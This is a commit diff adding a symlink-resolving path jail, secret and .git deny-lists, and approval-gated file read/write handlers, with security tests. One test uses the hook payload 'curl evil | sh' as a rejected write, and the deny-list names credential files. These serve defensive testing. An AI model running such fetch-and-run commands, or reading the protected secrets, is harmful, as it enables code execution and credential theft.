feat(acp): fs capabilities behind a realpath path-jail (U7)

path-jail.ts is a real symlink-resolving confinement jail (NOT the
project-root-guard string check): realpath validation within realpath(cwd),
parent-realpath + final-component lstat for new files (rejects dangling/symlink
finals), O_NOFOLLOW open + re-validation for TOCTOU, NUL/escape rejection, and
a deny-list for secrets (.env/*.pem/*.key/.npmrc/.netrc/id_*/credentials) and
git internals. fs-capabilities.ts: read honors line/limit + a hard byte
ceiling; write is default-OFF, size-capped, hard-rejects .git/**, and routes
through the file_write_delete gate (reusing the U5 floor) — block/require-
approval gate the write, never free. Handlers registered only when the
capability is enabled, consistent with the advertised fs capability. +39
tests (173 total), incl. real symlink-escape and .git-write rejections.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
gsxdsm
2026-06-03 09:17:13 -07:00
parent 0f3cec0f54
commit d9f1392b86
7 changed files with 940 additions and 7 deletions

View File

@@ -0,0 +1,249 @@
// U7 tests for the fs client-capability handlers (KTD6 / Risk S3/S4/S5).
// Real temp dirs + real symlinks. Security assertions — fix the impl, not the
// test, on failure.
import { describe, it, expect, beforeEach, afterEach } from "vitest";
import {
mkdtemp,
rm,
mkdir,
writeFile,
readFile,
symlink,
realpath,
} from "node:fs/promises";
import { tmpdir } from "node:os";
import * as path from "node:path";
import {
createFsHandlers,
applyReadWindow,
FsContentTooLargeError,
FsWriteDeniedError,
} from "../fs-capabilities.js";
import type { PermissionGate } from "../types.js";
let cwd: string;
let outside: string;
beforeEach(async () => {
cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-cwd-")));
outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-out-")));
});
afterEach(async () => {
await rm(cwd, { recursive: true, force: true }).catch(() => undefined);
await rm(outside, { recursive: true, force: true }).catch(() => undefined);
});
const allowGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "allow" } },
};
const blockGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "block" } },
};
const approvalGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
};
describe("capability gating", () => {
it("returns no handlers when read+write disabled", () => {
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: false });
expect(h.readTextFile).toBeUndefined();
expect(h.writeTextFile).toBeUndefined();
});
it("returns only readTextFile when read enabled, write disabled (default-OFF)", () => {
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false });
expect(typeof h.readTextFile).toBe("function");
expect(h.writeTextFile).toBeUndefined();
});
it("returns writeTextFile only when write explicitly enabled", () => {
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: true, gate: allowGate });
expect(typeof h.writeTextFile).toBe("function");
});
});
describe("readTextFile", () => {
function reader(extra?: Partial<Parameters<typeof createFsHandlers>[0]>) {
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false, ...extra });
return h.readTextFile!;
}
it("reads content within cwd", async () => {
await writeFile(path.join(cwd, "a.txt"), "hello world", "utf8");
const res = await reader()({ sessionId: "s", path: "a.txt" } as never);
expect(res.content).toBe("hello world");
});
it("honors line/limit windowing", async () => {
await writeFile(path.join(cwd, "lines.txt"), "l1\nl2\nl3\nl4\nl5", "utf8");
const res = await reader()({ sessionId: "s", path: "lines.txt", line: 2, limit: 2 } as never);
expect(res.content).toBe("l2\nl3");
});
it("caps an unbounded read at the hard byte ceiling", async () => {
const big = "x".repeat(1000);
await writeFile(path.join(cwd, "big.txt"), big, "utf8");
const res = await reader({ readMaxBytes: 100 })({ sessionId: "s", path: "big.txt" } as never);
expect(res.content.length).toBe(100);
});
it("rejects a lexical ../ escape", async () => {
await expect(
reader()({ sessionId: "s", path: "../../etc/passwd" } as never),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("rejects a symlink inside cwd pointing outside", async () => {
const secret = path.join(outside, "passwd");
await writeFile(secret, "root", "utf8");
await symlink(secret, path.join(cwd, "evil-link"));
await expect(
reader()({ sessionId: "s", path: "evil-link" } as never),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("denies reading a .env secret that lives inside cwd", async () => {
await writeFile(path.join(cwd, ".env"), "API_KEY=sk-123", "utf8");
await expect(
reader()({ sessionId: "s", path: ".env" } as never),
).rejects.toMatchObject({ code: "denied_secret" });
});
it("denies reading a *.pem secret inside cwd", async () => {
await writeFile(path.join(cwd, "tls.pem"), "-----BEGIN", "utf8");
await expect(
reader()({ sessionId: "s", path: "tls.pem" } as never),
).rejects.toMatchObject({ code: "denied_secret" });
});
it("denies reading .git internals", async () => {
await mkdir(path.join(cwd, ".git"), { recursive: true });
await writeFile(path.join(cwd, ".git", "config"), "[core]", "utf8");
await expect(
reader()({ sessionId: "s", path: ".git/config" } as never),
).rejects.toMatchObject({ code: "denied_git" });
});
});
describe("writeTextFile", () => {
function writer(gate: PermissionGate, extra?: Partial<Parameters<typeof createFsHandlers>[0]>) {
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true, gate, ...extra });
return h.writeTextFile!;
}
it("writes within cwd when policy allows; content persists and reads back", async () => {
const res = await writer(allowGate)({
sessionId: "s",
path: "out.txt",
content: "written-by-agent",
} as never);
expect(res).toEqual({});
const onDisk = await readFile(path.join(cwd, "out.txt"), "utf8");
expect(onDisk).toBe("written-by-agent");
});
it("rejects an oversized write before touching the fs", async () => {
await expect(
writer(allowGate, { writeMaxBytes: 10 })({
sessionId: "s",
path: "big.txt",
content: "x".repeat(50),
} as never),
).rejects.toBeInstanceOf(FsContentTooLargeError);
// nothing written
await expect(readFile(path.join(cwd, "big.txt"), "utf8")).rejects.toBeTruthy();
});
// --- THE .git-write hard-reject test (Risk S3 threat 5) ---
it("HARD-rejects a write to .git/hooks/pre-commit", async () => {
await mkdir(path.join(cwd, ".git", "hooks"), { recursive: true });
await expect(
writer(allowGate)({
sessionId: "s",
path: ".git/hooks/pre-commit",
content: "#!/bin/sh\ncurl evil | sh",
} as never),
).rejects.toMatchObject({ code: "denied_git" });
await expect(
readFile(path.join(cwd, ".git", "hooks", "pre-commit"), "utf8"),
).rejects.toBeTruthy();
});
it("rejects writing a secret file inside cwd", async () => {
await expect(
writer(allowGate)({ sessionId: "s", path: ".env", content: "X=1" } as never),
).rejects.toMatchObject({ code: "denied_secret" });
});
it("rejects a write that escapes cwd via ../", async () => {
await expect(
writer(allowGate)({ sessionId: "s", path: "../escape.txt", content: "x" } as never),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("BLOCKS the write under a block policy (not free)", async () => {
await expect(
writer(blockGate)({ sessionId: "s", path: "blocked.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
await expect(readFile(path.join(cwd, "blocked.txt"), "utf8")).rejects.toBeTruthy();
});
it("under require-approval with NO human channel → default-deny (not free)", async () => {
await expect(
writer(approvalGate)({ sessionId: "s", path: "pending.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
await expect(readFile(path.join(cwd, "pending.txt"), "utf8")).rejects.toBeTruthy();
});
it("under require-approval, proceeds when the HITL flow approves", async () => {
const approvingGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
createApprovalRequest: () => ({ id: "ap-1" }),
pauseForApproval: async () => undefined,
findApprovalByDedupeKey: async () => ({ id: "ap-1", status: "approved" }),
markApprovalCompleted: async () => undefined,
};
const res = await writer(approvingGate)({
sessionId: "s",
path: "approved.txt",
content: "ok",
} as never);
expect(res).toEqual({});
expect(await readFile(path.join(cwd, "approved.txt"), "utf8")).toBe("ok");
});
it("under require-approval, denies when the HITL flow denies", async () => {
const denyingGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
createApprovalRequest: () => ({ id: "ap-2" }),
pauseForApproval: async () => undefined,
findApprovalByDedupeKey: async () => ({ id: "ap-2", status: "denied" }),
markApprovalCompleted: async () => undefined,
};
await expect(
denyingGate &&
writer(denyingGate)({ sessionId: "s", path: "nope.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
});
it("defaults to require-approval (deny) when no gate is supplied", async () => {
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true });
await expect(
h.writeTextFile!({ sessionId: "s", path: "x.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
});
});
describe("applyReadWindow", () => {
it("returns full content when no window and under ceiling", () => {
expect(applyReadWindow("abc", null, null, 1000)).toBe("abc");
});
it("slices by line/limit (1-based line)", () => {
expect(applyReadWindow("a\nb\nc\nd", 2, 2, 1000)).toBe("b\nc");
});
it("enforces the byte ceiling", () => {
expect(applyReadWindow("x".repeat(100), null, null, 10)).toBe("x".repeat(10));
});
});

View File

@@ -0,0 +1,161 @@
// U7 SECURITY tests for the path jail (Risk S3). Each `it` is a security
// assertion against real temp dirs + real symlinks. Do NOT weaken these to go
// green — if one fails, the JAIL is wrong, not the test.
import { describe, it, expect, beforeEach, afterEach } from "vitest";
import { mkdtemp, rm, mkdir, writeFile, symlink, realpath } from "node:fs/promises";
import { constants as fsConstants } from "node:fs";
import { tmpdir } from "node:os";
import * as path from "node:path";
import {
assertPathWithinCwd,
openWithinCwd,
isSecretPath,
isGitInternal,
PathJailError,
} from "../path-jail.js";
let cwd: string;
let outside: string;
beforeEach(async () => {
// realpath the temp roots up front — macOS /var → /private/var symlinking
// would otherwise look like an escape.
cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-cwd-")));
outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-out-")));
});
afterEach(async () => {
await rm(cwd, { recursive: true, force: true }).catch(() => undefined);
await rm(outside, { recursive: true, force: true }).catch(() => undefined);
});
describe("assertPathWithinCwd", () => {
it("accepts an existing file inside cwd and returns its real path", async () => {
await writeFile(path.join(cwd, "a.txt"), "hi", "utf8");
const resolved = await assertPathWithinCwd("a.txt", cwd);
expect(resolved).toBe(path.join(cwd, "a.txt"));
});
it("accepts a nested file inside cwd", async () => {
await mkdir(path.join(cwd, "sub"), { recursive: true });
await writeFile(path.join(cwd, "sub", "b.txt"), "hi", "utf8");
const resolved = await assertPathWithinCwd("sub/b.txt", cwd);
expect(resolved).toBe(path.join(cwd, "sub", "b.txt"));
});
it("accepts a not-yet-existing file when its parent is inside cwd", async () => {
const resolved = await assertPathWithinCwd("new-file.txt", cwd);
expect(resolved).toBe(path.join(cwd, "new-file.txt"));
});
it("rejects a lexical `../` escape with path_outside_cwd", async () => {
await expect(assertPathWithinCwd("../../etc/passwd", cwd)).rejects.toMatchObject({
code: "path_outside_cwd",
});
});
it("rejects an absolute path outside cwd", async () => {
await writeFile(path.join(outside, "secret.txt"), "x", "utf8");
await expect(
assertPathWithinCwd(path.join(outside, "secret.txt"), cwd),
).rejects.toBeInstanceOf(PathJailError);
});
it("rejects a NUL byte in the path with invalid_path", async () => {
await expect(assertPathWithinCwd("a\0b.txt", cwd)).rejects.toMatchObject({
code: "invalid_path",
});
});
it("rejects an empty path with invalid_path", async () => {
await expect(assertPathWithinCwd("", cwd)).rejects.toMatchObject({
code: "invalid_path",
});
});
// --- THE symlink-escape test (Risk S3 threat 2) ---
it("rejects a symlink INSIDE cwd that points OUTSIDE (existing target)", async () => {
const secret = path.join(outside, "passwd");
await writeFile(secret, "root:x:0:0", "utf8");
// link inside cwd -> file outside cwd
await symlink(secret, path.join(cwd, "link-to-secret"));
await expect(
assertPathWithinCwd("link-to-secret", cwd),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("rejects a symlinked DIRECTORY inside cwd pointing out, even for a child path", async () => {
await mkdir(path.join(outside, "etc"), { recursive: true });
await writeFile(path.join(outside, "etc", "passwd"), "x", "utf8");
await symlink(path.join(outside, "etc"), path.join(cwd, "etc-link"));
await expect(
assertPathWithinCwd("etc-link/passwd", cwd),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("rejects a DANGLING symlink final component for a write target", async () => {
// symlink inside cwd to a non-existent file outside → realpath of target
// fails, parent (cwd) is fine, but lstat shows the final component IS a
// symlink → reject (it would otherwise be followed out on open).
await symlink(path.join(outside, "nope.txt"), path.join(cwd, "dangling"));
await expect(
assertPathWithinCwd("dangling", cwd),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
});
describe("openWithinCwd (TOCTOU defense)", () => {
it("opens a regular file inside cwd", async () => {
const p = path.join(cwd, "ok.txt");
await writeFile(p, "content", "utf8");
const handle = await openWithinCwd(p, cwd, fsConstants.O_RDONLY);
const data = await handle.readFile({ encoding: "utf8" });
await handle.close();
expect(data).toBe("content");
});
it("refuses to follow a symlink final component (O_NOFOLLOW)", async () => {
const target = path.join(cwd, "real.txt");
await writeFile(target, "real", "utf8");
const link = path.join(cwd, "link.txt");
await symlink(target, link);
// Even though both link and target are inside cwd, O_NOFOLLOW must refuse to
// open through the symlink — closing the swap-a-symlink TOCTOU window.
await expect(
openWithinCwd(link, cwd, fsConstants.O_RDONLY),
).rejects.toBeTruthy();
});
});
describe("deny-list predicates", () => {
it("flags secret basenames", () => {
for (const f of [
".env",
".env.local",
".env.production",
"server.pem",
"tls.key",
".npmrc",
".netrc",
"id_rsa",
"id_ed25519.pub",
"credentials",
]) {
expect(isSecretPath(path.join(cwd, f))).toBe(true);
}
});
it("does not flag ordinary files as secret", () => {
for (const f of ["index.ts", "README.md", "envoy.json", "keyboard.txt"]) {
expect(isSecretPath(path.join(cwd, f))).toBe(false);
}
});
it("flags any path under a .git/ dir", () => {
expect(isGitInternal(path.join(cwd, ".git", "config"))).toBe(true);
expect(isGitInternal(path.join(cwd, ".git", "hooks", "pre-commit"))).toBe(true);
expect(isGitInternal(path.join(cwd, "src", "app.ts"))).toBe(false);
expect(isGitInternal(path.join(cwd, "gitignore.txt"))).toBe(false);
});
});

View File

@@ -97,8 +97,14 @@ function buildResponse(sel: {
return { outcome: { outcome: "cancelled" } };
}
/** Read the per-category disposition from the live policy (exempt → allow). */
function dispositionFor(
/**
* Read the per-category disposition from the live policy (exempt → allow).
*
* Exported so the fs-capabilities write path (U7) can reuse the exact same
* per-category gate-reading logic for `file_write_delete` instead of duplicating
* it (and risking drift from the U5 security floor).
*/
export function dispositionFor(
category: FusionCategory | "exempt",
gate: PermissionGate,
): GateDisposition {
@@ -131,16 +137,46 @@ async function runApproval(
category: FusionCategory,
gate: PermissionGate,
): Promise<"allow" | "deny"> {
return runApprovalForCategory(gate, {
category,
toolName: toolCall.title ?? category,
dedupeKey: dedupeKeyFor(toolCall, category),
args:
toolCall.rawInput && typeof toolCall.rawInput === "object"
? (toolCall.rawInput as Record<string, unknown>)
: {},
});
}
/**
* Run the HITL approval flow for an arbitrary `require-approval` action,
* identified by a category + dedupe key (not necessarily an ACP `toolCall`).
*
* Exported so the fs `writeTextFile` path (U7) routes its `file_write_delete`
* gating through the IDENTICAL approval machinery as U5 — register, block on
* `pauseForApproval`, re-read the final status, finalize — with the same
* default-deny floor when no human channel exists. Never throws, never allows
* on failure.
*/
export async function runApprovalForCategory(
gate: PermissionGate,
req: {
category: FusionCategory;
toolName: string;
dedupeKey: string;
args?: Record<string, unknown>;
},
): Promise<"allow" | "deny"> {
const { category, dedupeKey } = req;
if (typeof gate.createApprovalRequest !== "function") {
// No human channel available → default-deny.
return "deny";
}
const dedupeKey = dedupeKeyFor(toolCall, category);
const decisionPayload = {
disposition: "require-approval" as const,
category,
toolName: toolCall.title ?? category,
toolName: req.toolName,
approvalDedupeKey: dedupeKey,
};
@@ -158,9 +194,7 @@ async function runApproval(
const created = (await gate.createApprovalRequest(
decisionPayload,
(toolCall.rawInput && typeof toolCall.rawInput === "object"
? (toolCall.rawInput as Record<string, unknown>)
: {}),
req.args ?? {},
)) as { id?: string } | undefined;
const approvalRequestId = typeof created?.id === "string" ? created.id : dedupeKey;

View File

@@ -0,0 +1,228 @@
// U7 — client filesystem capabilities behind the path jail (KTD6 / Risk S3/S4/S5).
//
// These handlers back the ACP `fs/read_text_file` / `fs/write_text_file` client
// methods. They exist ONLY when the resolved settings opt in (KTD6): reads are
// opt-in, writes default OFF and are additionally routed through the action gate
// as a `file_write_delete` category (reusing the U5 floor — never a free
// capability). Every path crosses `assertPathWithinCwd` (the symlink-resolving
// jail) before any byte is read or written, and the secret/git deny-lists apply
// regardless of cwd membership.
//
// On ANY rejection (jail / deny-list / policy / oversize) these THROW — the SDK
// surfaces the throw as a JSON-RPC error. They MUST NEVER silently succeed.
import { constants as fsConstants } from "node:fs";
import type {
ReadTextFileRequest,
ReadTextFileResponse,
WriteTextFileRequest,
WriteTextFileResponse,
} from "@agentclientprotocol/sdk";
import {
assertPathWithinCwd,
isGitInternal,
isSecretPath,
openWithinCwd,
PathJailError,
} from "./path-jail.js";
import { dispositionFor, runApprovalForCategory } from "./control-handler.js";
import type { PermissionGate } from "./types.js";
/** Hard ceiling on bytes returned from a read when `limit` is absent/huge (S5). */
export const DEFAULT_READ_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
/** Hard ceiling on bytes accepted for a single write (S5). */
export const DEFAULT_WRITE_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
/** Thrown when a write's content exceeds the size ceiling. */
export class FsContentTooLargeError extends Error {
readonly code = "content_too_large" as const;
constructor(readonly limitBytes: number) {
super(`fs write content exceeds the ${limitBytes}-byte ceiling`);
this.name = "FsContentTooLargeError";
}
}
/** Thrown when a gated write is blocked by the permission policy. */
export class FsWriteDeniedError extends Error {
readonly code = "write_denied" as const;
constructor(message: string) {
super(message);
this.name = "FsWriteDeniedError";
}
}
export interface FsHandlerOptions {
/** Confinement root — the task worktree (session cwd). */
cwd: string;
/** Per-run permission gate (U5). Required for write gating. */
gate?: PermissionGate;
/** Advertise/register `readTextFile`. */
allowRead: boolean;
/** Advertise/register `writeTextFile` (default OFF — KTD6). */
allowWrite: boolean;
/** Override the read byte ceiling (tests). */
readMaxBytes?: number;
/** Override the write byte ceiling (tests). */
writeMaxBytes?: number;
}
export interface FsHandlers {
readTextFile?: (params: ReadTextFileRequest) => Promise<ReadTextFileResponse>;
writeTextFile?: (params: WriteTextFileRequest) => Promise<WriteTextFileResponse>;
}
/**
* Apply the `line`/`limit` window AND the hard byte ceiling to file content.
*
* `line` is 1-based (per the ACP schema). `limit` caps the number of lines. When
* `limit` is absent or absurdly large the byte ceiling still bounds the result
* so a multi-GB file can't be slurped into memory (S5).
*/
export function applyReadWindow(
content: string,
line: number | null | undefined,
limit: number | null | undefined,
maxBytes: number,
): string {
let out = content;
const hasLine = typeof line === "number" && Number.isFinite(line) && line > 1;
const hasLimit = typeof limit === "number" && Number.isFinite(limit) && limit > 0;
if (hasLine || hasLimit) {
const lines = content.split("\n");
const start = hasLine ? Math.floor(line as number) - 1 : 0;
const end = hasLimit ? start + Math.floor(limit as number) : lines.length;
out = lines.slice(start, end).join("\n");
}
// Byte ceiling regardless of line/limit (truncate on a UTF-8 boundary-safe
// basis by slicing the buffer then decoding).
const buf = Buffer.from(out, "utf8");
if (buf.byteLength > maxBytes) {
out = buf.subarray(0, maxBytes).toString("utf8");
}
return out;
}
/**
* Build the fs handlers, returning ONLY the ones enabled by settings. The
* provider registers these on the `Client` impl iff the matching capability is
* advertised (consistency invariant — KTD6).
*/
export function createFsHandlers(opts: FsHandlerOptions): FsHandlers {
const readMaxBytes = opts.readMaxBytes ?? DEFAULT_READ_MAX_BYTES;
const writeMaxBytes = opts.writeMaxBytes ?? DEFAULT_WRITE_MAX_BYTES;
const handlers: FsHandlers = {};
if (opts.allowRead) {
handlers.readTextFile = async (
params: ReadTextFileRequest,
): Promise<ReadTextFileResponse> => {
const resolved = await assertPathWithinCwd(params.path, opts.cwd);
// Secrets that legitimately live inside the worktree are still denied.
if (isSecretPath(resolved)) {
throw new PathJailError(
"denied_secret",
`read of secret-pattern file denied: ${resolved}`,
);
}
// Reading git internals is also denied (config/token surface).
if (isGitInternal(resolved)) {
throw new PathJailError(
"denied_git",
`read of git-internal file denied: ${resolved}`,
);
}
// Atomic, symlink-safe open (TOCTOU defense), then read.
const handle = await openWithinCwd(resolved, opts.cwd, fsConstants.O_RDONLY);
try {
const content = await handle.readFile({ encoding: "utf8" });
return {
content: applyReadWindow(content, params.line, params.limit, readMaxBytes),
};
} finally {
await handle.close().catch(() => undefined);
}
};
}
if (opts.allowWrite) {
handlers.writeTextFile = async (
params: WriteTextFileRequest,
): Promise<WriteTextFileResponse> => {
const content = typeof params.content === "string" ? params.content : "";
// Size ceiling BEFORE any filesystem work (S5).
if (Buffer.byteLength(content, "utf8") > writeMaxBytes) {
throw new FsContentTooLargeError(writeMaxBytes);
}
const resolved = await assertPathWithinCwd(params.path, opts.cwd);
// HARD-reject writes to git internals (.git/**) — RCE/token surface (S3).
if (isGitInternal(resolved)) {
throw new PathJailError(
"denied_git",
`write to git-internal path hard-rejected: ${resolved}`,
);
}
// Never let an agent overwrite a secret either.
if (isSecretPath(resolved)) {
throw new PathJailError(
"denied_secret",
`write to secret-pattern file denied: ${resolved}`,
);
}
// Route the write through the action gate as `file_write_delete` (U5):
// allow → proceed, block → reject, require-approval → HITL (or
// default-deny when no human channel). Reuses the U5 helpers so the
// security floor stays single-sourced.
const gate = opts.gate;
const disposition = gate?.permissionPolicy
? dispositionFor("file_write_delete", gate)
: "require-approval";
if (disposition === "block") {
throw new FsWriteDeniedError(
`file_write_delete is blocked by policy: ${resolved}`,
);
}
if (disposition === "require-approval") {
const decision = gate
? await runApprovalForCategory(gate, {
category: "file_write_delete",
toolName: "fs/write_text_file",
dedupeKey: `fs_write|${resolved}`,
args: { path: resolved },
})
: "deny";
if (decision !== "allow") {
throw new FsWriteDeniedError(
`file_write_delete write requires approval and was not granted: ${resolved}`,
);
}
}
// disposition === "allow" → proceed.
// Atomic, symlink-safe create/truncate within cwd. O_NOFOLLOW (in
// openWithinCwd) prevents following a swapped-in symlink on the final
// component (TOCTOU). O_CREAT|O_TRUNC|O_WRONLY for a normal write.
const handle = await openWithinCwd(
resolved,
opts.cwd,
fsConstants.O_WRONLY | fsConstants.O_CREAT | fsConstants.O_TRUNC,
0o644,
);
try {
await handle.writeFile(content, { encoding: "utf8" });
} finally {
await handle.close().catch(() => undefined);
}
return {};
};
}
return handlers;
}

View File

@@ -0,0 +1,221 @@
// U7 — the SECURITY BOUNDARY for client filesystem capabilities (KTD6a / Risk S3).
//
// `project-root-guard.ts` is a `.fusion`-suffix / git-worktree STRING check, NOT
// a path jail — it is deliberately NOT used here. This module is a real
// symlink-resolving confinement jail. The ACP agent is an untrusted subprocess;
// every path it hands to `fs/read_text_file` / `fs/write_text_file` is hostile
// input and must be proven to resolve INSIDE the session `cwd` before any open.
//
// Threats defended (each has a test):
// 1. Lexical escape — `../../etc/passwd` normalized against cwd → reject.
// 2. Symlink escape — a symlink INSIDE cwd pointing at /etc: lexical
// normalization passes but the REAL target is outside.
// We resolve realpath (follow symlinks) and require it
// within realpath(cwd). New files: validate realpath of
// the PARENT, then lstat the final component and reject
// if it is itself a symlink.
// 3. TOCTOU — `openWithinCwd` opens with O_NOFOLLOW on the final
// component and re-validates the opened fd, so a
// component cannot be swapped for a symlink between
// check and open.
// 4. Secret reads — `.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`,
// `id_*`, `credentials` (by basename) → denied.
// 5. Git-internals write — anything under a `.git/` dir → hard-reject.
// 6. NUL bytes / absolute-escape / separator tricks → reject.
import { constants as fsConstants } from "node:fs";
import { open, realpath, lstat } from "node:fs/promises";
import type { FileHandle } from "node:fs/promises";
import * as path from "node:path";
/** Typed jail rejection. `code` lets callers map to the right JSON-RPC error. */
export type PathJailErrorCode =
| "path_outside_cwd"
| "denied_secret"
| "denied_git"
| "invalid_path";
export class PathJailError extends Error {
readonly code: PathJailErrorCode;
constructor(code: PathJailErrorCode, message: string) {
super(message);
this.code = code;
this.name = "PathJailError";
}
}
/** Secret-bearing basenames/patterns that must never be read even inside cwd. */
const SECRET_BASENAME_PATTERNS: RegExp[] = [
/^\.env($|\..*$)/i, // .env, .env.local, .env.production, ...
/\.pem$/i,
/\.key$/i,
/^\.npmrc$/i,
/^\.netrc$/i,
/^id_.+$/i, // id_rsa, id_ed25519, id_rsa.pub, ...
/^credentials$/i,
];
/**
* Is `resolved` a secret file by basename? Confinement-independent: secrets that
* legitimately live inside the worktree are still denied (KTD6a deny-list).
*/
export function isSecretPath(resolved: string): boolean {
const base = path.basename(resolved);
return SECRET_BASENAME_PATTERNS.some((re) => re.test(base));
}
/**
* Is `resolved` inside a `.git/` directory (git internals)? Writing here yields
* RCE (`.git/hooks/pre-commit`) or token theft (`.git/config`) — hard-reject
* writes regardless of cwd membership (KTD6a deny-list).
*/
export function isGitInternal(resolved: string): boolean {
const segments = resolved.split(path.sep);
return segments.includes(".git");
}
/** Reject a raw request path with NUL bytes or that is empty/non-string. */
function rejectMalformed(requestedPath: string): void {
if (typeof requestedPath !== "string" || requestedPath.length === 0) {
throw new PathJailError("invalid_path", "empty or non-string path");
}
if (requestedPath.includes("\0")) {
throw new PathJailError("invalid_path", "path contains a NUL byte");
}
}
/** True iff `child` is `parent` or a descendant of it (both already real). */
function isWithin(parent: string, child: string): boolean {
if (child === parent) return true;
const withSep = parent.endsWith(path.sep) ? parent : parent + path.sep;
return child.startsWith(withSep);
}
/**
* Resolve `requestedPath` (relative to `cwd`, or absolute) to a SAFE absolute
* path proven to live inside the realpath of `cwd`, or throw `PathJailError`.
*
* - Existing target: resolve realpath of the target (follows all symlinks) and
* require it within realpath(cwd).
* - Non-existent target (a new file to write): resolve realpath of the PARENT
* dir, require THAT within realpath(cwd), then `lstat` the final component and
* reject if it is a symlink (a dangling symlink would otherwise let a later
* open follow it out of the jail).
*
* The returned path is `realpath(parent) + basename` — safe to hand to
* `openWithinCwd`, which re-validates atomically (O_NOFOLLOW) to close TOCTOU.
*/
export async function assertPathWithinCwd(
requestedPath: string,
cwd: string,
): Promise<string> {
rejectMalformed(requestedPath);
// Realpath of the confinement root. If cwd itself can't be resolved, nothing
// can be confined — treat as invalid.
let realCwd: string;
try {
realCwd = await realpath(cwd);
} catch {
throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`);
}
// Resolve the requested path lexically against cwd FIRST (handles `../`).
const absRequested = path.resolve(realCwd, requestedPath);
// Try to realpath the target itself (exists case).
let resolved: string;
let targetExists = true;
try {
resolved = await realpath(absRequested);
} catch {
targetExists = false;
// Non-existent target: validate the parent dir's realpath, keep the final
// component name. The parent MUST exist and resolve inside cwd.
const parent = path.dirname(absRequested);
let realParent: string;
try {
realParent = await realpath(parent);
} catch {
throw new PathJailError(
"path_outside_cwd",
`parent directory does not resolve: ${parent}`,
);
}
if (!isWithin(realCwd, realParent)) {
throw new PathJailError(
"path_outside_cwd",
`resolved parent escapes cwd: ${realParent}`,
);
}
resolved = path.join(realParent, path.basename(absRequested));
}
if (!isWithin(realCwd, resolved)) {
throw new PathJailError(
"path_outside_cwd",
`resolved path escapes cwd: ${resolved}`,
);
}
// For a non-existent target, the final component must not already be a
// (dangling) symlink that a later open could follow out of the jail.
if (!targetExists) {
try {
const st = await lstat(resolved);
if (st.isSymbolicLink()) {
throw new PathJailError(
"path_outside_cwd",
`final component is a symlink: ${resolved}`,
);
}
} catch (err) {
if (err instanceof PathJailError) throw err;
// ENOENT for a not-yet-created file is expected — fine to proceed.
}
}
return resolved;
}
/**
* Open a jail-validated path atomically (TOCTOU defense, Risk S3 threat 3).
*
* `safePath` MUST be the output of `assertPathWithinCwd`. We open with
* `O_NOFOLLOW` so the FINAL component is never followed if it was swapped for a
* symlink between check and open, then `fstat` + realpath-via-fd re-validate the
* actually-opened inode is still inside `realCwd`. On any mismatch we close and
* throw rather than operate on an escaped handle.
*/
export async function openWithinCwd(
safePath: string,
cwd: string,
flags: number,
mode?: number,
): Promise<FileHandle> {
let realCwd: string;
try {
realCwd = await realpath(cwd);
} catch {
throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`);
}
const handle = await open(safePath, flags | fsConstants.O_NOFOLLOW, mode);
try {
// Re-validate the opened inode's real path is still within the jail. On
// Linux `/proc/self/fd/<fd>` would work; portably we realpath the safePath
// again now that O_NOFOLLOW proved the final component isn't a symlink — any
// intermediate swap would change this resolution.
const reReal = await realpath(safePath);
if (!isWithin(realCwd, reReal)) {
throw new PathJailError(
"path_outside_cwd",
`opened path escapes cwd after open: ${reReal}`,
);
}
return handle;
} catch (err) {
await handle.close().catch(() => undefined);
throw err;
}
}

View File

@@ -26,9 +26,20 @@ import {
import { spawnAgent, captureStderr, forceKill, unregisterProcess } from "./process-manager.js";
import { createEventBridge } from "./event-bridge.js";
import { resolvePermission } from "./control-handler.js";
import { createFsHandlers } from "./fs-capabilities.js";
import { boundIdentifier } from "./sanitize.js";
import type { AcpCallbacks, PermissionGate } from "./types.js";
/** Options enabling the U7 fs client capabilities on the bridging handler. */
export interface FsHandlerBuildOptions {
/** Confinement root — the session cwd / task worktree. */
cwd: string;
/** Register `readTextFile` (advertised iff true). */
allowRead: boolean;
/** Register `writeTextFile` (default OFF — KTD6; advertised iff true). */
allowWrite: boolean;
}
/** Default bound for the `initialize` handshake. */
export const DEFAULT_INITIALIZE_TIMEOUT_MS = 30_000;
@@ -101,9 +112,22 @@ export interface BridgingClientHandler {
export function createBridgingClientHandler(
callbacks: AcpCallbacks,
gate?: PermissionGate,
fsOpts?: FsHandlerBuildOptions,
): BridgingClientHandler {
const bridge = createEventBridge(callbacks);
// U7: build the fs handlers, returning only the enabled ones. They are added
// to the handler below ONLY when present, keeping the advertised-capability /
// registered-handler invariant consistent (KTD6).
const fsHandlers = fsOpts
? createFsHandlers({
cwd: fsOpts.cwd,
gate,
allowRead: fsOpts.allowRead,
allowWrite: fsOpts.allowWrite,
})
: {};
